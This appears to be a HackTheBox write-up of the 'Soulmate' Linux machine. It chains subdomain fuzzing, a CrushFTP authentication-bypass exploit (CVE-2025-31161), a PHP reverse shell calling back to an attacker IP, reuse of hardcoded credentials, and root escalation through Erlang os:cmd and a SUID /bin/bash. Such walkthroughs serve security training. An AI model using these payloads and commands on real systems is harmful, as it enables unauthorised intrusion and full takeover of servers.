TARGET OS: LINUX | AUTHOR: LEANDROS
Soulmate is an Easy-rated Linux machine on HackTheBox that requires a sharp eye for subdomains and a solid understanding of esoteric shells. The intrusion started by fuzzing subdomains to discover an instance of CrushFTP. By exploiting a recent vulnerability (CVE-2025-31161), I created a rogue admin account, hijacked a user's web directory, and uploaded a PHP reverse shell. Lateral movement involved finding hardcoded credentials for a custom Erlang SSH daemon. Finally, I escalated to root by abusing the Erlang shell's OS command execution capabilities. Here is my complete mission log.
I initiated the engagement with an Nmap TCP port scan to map the target's external attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80,4369 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
|_http-server-header: nginx/1.18.0 (Ubuntu)
4369/tcp open epmd Erlang Port Mapper Daemon
The scan revealed SSH, a web server redirecting to soulmate.htb, and an Erlang Port Mapper Daemon. I added the domain to my /etc/hosts file and investigated the website. It appeared to be a dating platform. While I could register and upload profile pictures, testing for standard upload vulnerabilities yielded nothing. I decided to broaden my scope and fuzz for subdomains using ffuf.
ffuf -c -w subdomains.txt -u http://soulmate.htb -H "Host: FUZZ.soulmate.htb" -fs 154
The fuzzer quickly discovered ftp.soulmate.htb. I updated my /etc/hosts file and navigated to the new subdomain, where I was greeted by a CrushFTP login screen.
CrushFTP recently suffered from a critical vulnerability (CVE-2025-31161). An unauthenticated attacker can exploit an API endpoint flaw to force the application to create a brand-new administrator account, granting full control over the FTP server's virtual file system (VFS).
I pulled down a Proof of Concept script from GitHub and fired it at the target to create an account named diseo.
python3 exploit.py --target_host ftp.soulmate.htb --port 80 --target_user ftp.soulmate.htb --new_user diseo --password diseo
The script successfully created the account. I logged into the CrushFTP dashboard and navigated to the "User Manager". While exploring the configuration, I noticed the user ben had a folder shared via the VFS called webProd, which pointed directly to the root directory of the soulmate.htb web application!
Since I was an admin in CrushFTP, I simply reset Ben's password to a password of my choosing, logged out of my rogue account, and logged back in as ben.
Operating as Ben inside CrushFTP, I navigated to the webProd folder, created a directory called test, and uploaded a malicious PHP reverse shell named webshell.php.
<?php
$sock=fsockopen("<IP_ATTACKER>",<PORT>);
$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
I started a Netcat listener and navigated to http://soulmate.htb/test/webshell.php in my browser. The server executed the PHP code, and I caught a reverse shell as www-data. After stabilizing my TTY, it was time to move laterally.
I began enumerating the system using linpeas.sh. The output highlighted a highly unusual process running as root:
root 3405 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir ... -noshell -sname ssh_runner
It appeared to be a custom Erlang script handling some sort of SSH login mechanism. I read the contents of /usr/local/lib/erlang_login/start.escript to understand its logic.
# Snippet from start.escript
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
# ...
The script spins up a custom SSH daemon on local port 2222 and explicitly hardcodes credentials for the user ben: HouseH0ldings998.
Before attempting to connect to the custom port, I decided to test these credentials directly against the standard system SSH service (port 22) as password reuse is incredibly common.
ssh ben@<IP>
The credentials worked! I secured an interactive SSH session as the system user ben and claimed the user.txt flag.
Now that I had a stable user shell, I checked the active network connections using ss -tuln. As expected, the custom Erlang SSH daemon was listening locally on port 2222.
I initiated an SSH connection to the local port using the same credentials I had just recovered.
ssh ben@127.0.0.1 -p 2222
ben@127.0.0.1's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
Instead of a standard Bash shell, the daemon drops users directly into an interactive Erlang shell (Eshell). Erlang has a built-in module called os that includes the os:cmd() function, which allows the execution of arbitrary operating system commands. Because the Erlang daemon itself was executed by the root user (as we saw in LinPEAS), any OS commands we issue through this shell will be executed with root privileges!
To confirm my privileges, I ran a quick whoami command through the Erlang module.
os:cmd("whoami").
"root\n"
Confirmed. To finalize the exploit and gain a standard, usable root shell, I used the Erlang shell to apply the SUID bit to the system's /bin/bash executable.
os:cmd("chmod u+s /bin/bash").
I exited the Erlang shell, returning to my standard SSH session as Ben. I checked the permissions on /bin/bash to verify the SUID bit was set, and then executed it with the -p (privileged) flag.
bash -p
bash-5.1# whoami
root
The shell dropped me directly into a root context. I claimed the root.txt flag. System Compromised.